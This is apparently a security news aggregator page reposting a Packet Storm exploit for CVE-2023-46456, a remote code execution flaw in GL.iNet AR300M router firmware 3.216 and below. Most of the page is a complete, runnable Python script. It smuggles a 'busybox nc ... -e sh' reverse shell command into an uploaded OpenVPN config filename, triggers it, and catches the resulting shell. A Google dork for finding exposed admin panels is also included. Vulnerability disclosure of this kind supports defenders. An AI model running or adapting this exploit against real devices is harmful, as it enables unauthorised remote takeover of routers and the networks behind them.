Security
Headlines
HeadlinesLatestCVEs

Headline

GL.iNet AR300M 3.216 Remote Code Execution

GL.iNet AR300M versions 3.216 and below suffer from an OpenVPN client related remote code execution vulnerability.

Packet Storm
#vulnerability#google#js#rce#auth
#!/usr/bin/env python3# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client# Google Dork: intitle:"GL.iNet Admin Panel"# Date: XX/11/2023# Exploit Author: Michele 'cyberaz0r' Di Bonaventura# Vendor Homepage: https://www.gli-net.com# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar# Version: 3.216# Tested on: GL.iNet AR300M# CVE: CVE-2023-46456import socketimport requestsimport readlinefrom time import sleepfrom random import randintfrom sys import stdout, argvfrom threading import Threadrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)def generate_random_string():  return ''.join([chr(randint(97, 122)) for x in range(6)])def add_config_file(url, auth_token, payload):  data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}  try:    r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)    r.raise_for_status()  except requests.exceptions.RequestException:    print('[X] Error while adding configuration file')    return False  return Truedef verify_config_file(url, auth_token, payload):  try:    r = requests.get(url, headers={'Authorization':auth_token}, verify=False)    r.raise_for_status()    if not r.json()['passed'] and payload not in r.json()['passed']:      return False  except requests.exceptions.RequestException:    print('[X] Error while verifying the upload of configuration file')    return False  return Truedef add_client(url, auth_token):  postdata = {'description':'RCE_client_{}'.format(generate_random_string())}  try:    r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)    r.raise_for_status()  except requests.exceptions.RequestException:    print('[X] Error while adding OpenVPN client')    return False  return Truedef get_client_id(url, auth_token, payload):  try:    r = requests.get(url, headers={'Authorization':auth_token}, verify=False)    r.raise_for_status()    for conn in r.json()['clients']:      if conn['defaultserver'] == payload:        return conn['id']    print('[X] Error: could not find client ID')    return False  except requests.exceptions.RequestException:    print('[X] Error while retrieving added OpenVPN client ID')  return Falsedef connect_vpn(url, auth_token, client_id):  sleep(0.25)  postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}  r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)def cleanup(url, auth_token, client_id):  try:    r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)    r.raise_for_status()  except requests.exceptions.RequestException:    print('[X] Error while cleaning up OpenVPN client')    return False  return Truedef get_command_response(s):  res = ''  while True:    try:      resp = s.recv(1).decode('utf-8')      res += resp    except UnicodeDecodeError:      pass    except socket.timeout:      break  return resdef revshell_listen(revshell_ip, revshell_port):  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.settimeout(5)  try:    s.bind((revshell_ip, int(revshell_port)))    s.listen(1)  except Exception as e:    print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))    exit(1)  try:    clsock, claddr = s.accept()    clsock.settimeout(2)    if clsock:      print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))      res = ''      while True:        command = input('$ ')        clsock.sendall('{}\n'.format(command).encode('utf-8'))        stdout.write(get_command_response(clsock))  except socket.timeout:    print('[-] No connection received in 5 seconds, probably server is not vulnerable...')    s.close()  except KeyboardInterrupt:    print('\n[*] Closing connection')    try:      clsock.close()    except socket.error:      pass    except NameError:      pass    s.close()def main(base_url, auth_token, revshell_ip, revshell_port):  print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')  payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)  print('[+] Filename payload: "{}"'.format(payload))  print('[*] Uploading crafted OpenVPN config file')  if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):    exit(1)  if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):    exit(1)  print('[+] File uploaded successfully')  print('[*] Adding OpenVPN client')  if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):    exit(1)  client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)  if not client_id:    exit(1)  print('[+] Client ID: ' + client_id)  print('[*] Triggering connection to created OpenVPN client')  Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()  print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))  revshell_listen(revshell_ip, revshell_port)  print('[*] Clean-up by removing OpenVPN connection')  if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):    exit(1)  print('[+] Done')if __name__ == '__main__':  if len(argv) < 5:    print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))    exit(1)  main(argv[1], argv[2], argv[3], argv[4])

Related news

CVE-2023-46456: Homepage

In GL.iNET GL-AR300M routers with firmware 3.216 it is possible to inject arbitrary shell commands through the OpenVPN client file upload functionality.

CVE-2023-46454: cyberaz0r Security Blog | GL.iNet Multiple Vulnerabilities

In GL.iNET GL-AR300M routers with firmware v4.3.7, it is possible to inject arbitrary shell commands through a crafted package name in the package information functionality.

Packet Storm: Latest News

Debian Security Advisory 5804-1